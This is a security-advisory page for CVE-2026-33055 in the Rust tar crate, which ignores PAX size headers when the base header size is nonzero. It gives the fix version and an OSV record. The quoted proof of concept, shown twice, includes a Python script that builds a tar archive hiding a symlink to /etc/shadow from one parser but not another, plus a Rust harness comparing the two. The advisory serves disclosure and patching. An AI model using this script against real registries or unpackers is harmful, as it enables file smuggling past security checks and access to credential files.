CVE-2026-33055: Tar Tar-rs Incorrectly Ignores PAX Size Vulnerability

MODERATE
Advisory Identifier: GHSA-gchp-q4r4-x4ff
CVSS 8.1
CWE-843
Published
Advisory Summary

CVE-2026-33055 is a MODERATE (CVSS 8.1) tar-rs incorrectly ignores pax size vulnerability (CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')) affecting Tar libraries in the crates.io ecosystem. The issue involves tar-rs incorrectly ignores pax size headers if header size is nonzero. Remediation is available by upgrading affected packages to version 0.4.45.

CVE-2026-33055 at a Glance

CVE Identifier CVE-2026-33055
GHSA Identifier GHSA-gchp-q4r4-x4ff
Severity MODERATE
CVSS v3.1 Base Score 8.1
CWE Classification CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')
Affected Product Tar
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-33055

To remediate this vulnerability, upgrade all affected Tar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

tar fixed: 0.4.45
Upgrade tar to 0.4.45
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for tar

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33055, inspect your project dependencies for Tar:

inspect dependencies for tar

Analyze the terminal output to locate any version of Tar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.4.45), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-843: Access of Resource Using Incompatible Type ('Type Confusion'), where the product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type. In Tar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary As part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. However, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue. The problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override. ### Details https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344 ### PoC (originally posted by https://github.com/xokdvium) > I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links: It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`. https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344 ```python #!/usr/bin/env python3 B = 512 def pad(d): r = len(d) % B return d + b"\0" * (B - r) if r else d def hdr(name, size, typ=b"0", link=b""): h = bytearray(B) h[0 : len(name)] = name h[100:107] = b"0000644" h[108:115] = h[116:123] = b"0001000" h[124:135] = f"{size:011o}".encode() h[136:147] = b"00000000000" h[148:156] = b" " h[156:157] = typ if link: h[157 : 157 + len(link)] = link h[257:263] = b"ustar\x00" h[263:265] = b"00" h[148:155] = f"{sum(h):06o}\x00".encode() return bytes(h) INFLATED = 2048 pax_rec = b"13 size=2048\n" ar = bytearray() ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x") ar += pad(pax_rec) content = b"regular\n" ar += hdr(b"regular.txt", len(content)) mark = len(ar) ar += pad(content) ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow") ar += b"\0" * B * 2 used = len(ar) - mark if used < INFLATED: ar += b"\0" * (((INFLATED - used + B - 1) // B) * B) ar += b"\0" * B * 2 open("smuggle.tar", "wb").write(bytes(ar)) ``` `tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it). ```rust use std::fs; use std::path::PathBuf; fn sync_parse(data: &[u8]) { println!("tar:"); let mut ar = tar::Archive::new(data); for e in ar.entries().unwrap() { let e = e.unwrap(); let path = e.path().unwrap().to_path_buf(); let kind = e.header().entry_type(); let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); } async fn async_parse(data: Vec<u8>) { println!("astral-tokio-tar:"); let mut ar = tokio_tar::Archive::new(data.as_slice()); let mut entries = ar.entries().unwrap(); while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await { let e = e.unwrap(); let path = e.path().unwrap().to_path_buf(); let kind = e.header().entry_type(); let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); } #[tokio::main] async fn main() { let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into()); let data = fs::read(&path).unwrap(); sync_parse(&data); async_parse(data).await; } ``` ``` tar: regular.txt Regular smuggled Symlink -> /etc/shadow astral-tokio-tar: regular.txt Regular ``` ### Impact This can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.

CVE-2026-33055 Affected Tar Versions

1 component(s)
Fixed Versions:
0.4.45
Product / Package Ecosystem Affected Versions Fixed Version
tar
crates.io
< 0.4.45
0.4.45

References

Frequently Asked Questions

What is CVE-2026-33055?
CVE-2026-33055 is a security vulnerability in Tar involving tar-rs incorrectly ignores PAX size headers if header size is nonzero under CWE-843: Access of Resource Using Incompatible Type ('Type Confusion').
Which Tar versions are affected?
Affected versions include releases prior to 0.4.45 across affected packages: tar.
What version fixes CVE-2026-33055?
Upgrading to 0.4.45 (or the latest patched release for your respective branch) resolves the vulnerability.
Is tar affected?
Yes, tar is affected in releases prior to 0.4.45. Upgrade your dependency to 0.4.45 or later.
What is the CVSS score of CVE-2026-33055?
CVE-2026-33055 has a CVSS v3.1 base score of 8.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-33055?
CVE-2026-33055 is classified under CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') (The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.).
How can I check crates.io dependencies for CVE-2026-33055?
Run the dependency tree command: 'inspect dependencies for tar'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gchp-q4r4-x4ff",
  "modified" : "2026-05-19T16:05:57Z",
  "published" : "2026-03-20T17:25:05Z",
  "aliases" : [ "CVE-2026-33055" ],
  "summary" : "tar-rs incorrectly ignores PAX size headers if header size is nonzero",
  "details" : "### Summary\n\nAs part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.\n\nHowever, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.\n\nThe problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.\n\nIn this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override.\n\n\n### Details\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n### PoC\n\n(originally posted by https://github.com/xokdvium)\n\n\n> I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:\n\nIt seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`.\n\nhttps://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600\nhttps://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344\n\n```python\n#!/usr/bin/env python3\nB = 512\n\n\ndef pad(d):\n    r = len(d) % B\n    return d + b\"\\0\" * (B - r) if r else d\n\n\ndef hdr(name, size, typ=b\"0\", link=b\"\"):\n    h = bytearray(B)\n    h[0 : len(name)] = name\n    h[100:107] = b\"0000644\"\n    h[108:115] = h[116:123] = b\"0001000\"\n    h[124:135] = f\"{size:011o}\".encode()\n    h[136:147] = b\"00000000000\"\n    h[148:156] = b\"        \"\n    h[156:157] = typ\n    if link:\n        h[157 : 157 + len(link)] = link\n    h[257:263] = b\"ustar\\x00\"\n    h[263:265] = b\"00\"\n    h[148:155] = f\"{sum(h):06o}\\x00\".encode()\n    return bytes(h)\n\n\nINFLATED = 2048\npax_rec = b\"13 size=2048\\n\"\n\nar = bytearray()\nar += hdr(b\"./PaxHeaders/regular\", len(pax_rec), typ=b\"x\")\nar += pad(pax_rec)\n\ncontent = b\"regular\\n\"\nar += hdr(b\"regular.txt\", len(content))\nmark = len(ar)\nar += pad(content)\n\nar += hdr(b\"smuggled\", 0, typ=b\"2\", link=b\"/etc/shadow\")\nar += b\"\\0\" * B * 2\n\nused = len(ar) - mark\nif used < INFLATED:\n    ar += b\"\\0\" * (((INFLATED - used + B - 1) // B) * B)\nar += b\"\\0\" * B * 2\n\nopen(\"smuggle.tar\", \"wb\").write(bytes(ar))\n```\n\n`tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it).\n\n```rust\nuse std::fs;\nuse std::path::PathBuf;\n\nfn sync_parse(data: &[u8]) {\n    println!(\"tar:\");\n    let mut ar = tar::Archive::new(data);\n    for e in ar.entries().unwrap() {\n        let e = e.unwrap();\n        let path = e.path().unwrap().to_path_buf();\n        let kind = e.header().entry_type();\n        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n        match link {\n            Some(l) => println!(\"  {:20} {:?} -> {}\", path.display(), kind, l.display()),\n            None => println!(\"  {:20} {:?}\", path.display(), kind),\n        }\n    }\n    println!();\n}\n\nasync fn async_parse(data: Vec<u8>) {\n    println!(\"astral-tokio-tar:\");\n    let mut ar = tokio_tar::Archive::new(data.as_slice());\n    let mut entries = ar.entries().unwrap();\n    while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {\n        let e = e.unwrap();\n        let path = e.path().unwrap().to_path_buf();\n        let kind = e.header().entry_type();\n        let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());\n        match link {\n            Some(l) => println!(\"  {:20} {:?} -> {}\", path.display(), kind, l.display()),\n            None => println!(\"  {:20} {:?}\", path.display(), kind),\n        }\n    }\n    println!();\n}\n\n#[tokio::main]\nasync fn main() {\n    let path = std::env::args().nth(1).unwrap_or(\"smuggle.tar\".into());\n    let data = fs::read(&path).unwrap();\n    sync_parse(&data);\n    async_parse(data).await;\n}\n```\n\n```\ntar:\n  regular.txt          Regular\n  smuggled             Symlink -> /etc/shadow\n\nastral-tokio-tar:\n  regular.txt          Regular\n```\n\n### Impact\n\nThis can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "tar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.4.45"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.4.44"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/composefs/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33055"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/alexcrichton/tar-rs/commit/de1a5870e603758f430073688691165f21a33946"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/alexcrichton/tar-rs"
  }, {
    "type" : "WEB",
    "url" : "https://rustsec.org/advisories/RUSTSEC-2026-0068.html"
  }, {
    "type" : "WEB",
    "url" : "https://www.cve.org/CVERecord?id=CVE-2025-62518"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-843" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T17:25:05Z",
    "nvd_published_at" : "2026-03-20T07:16:13Z"
  }
}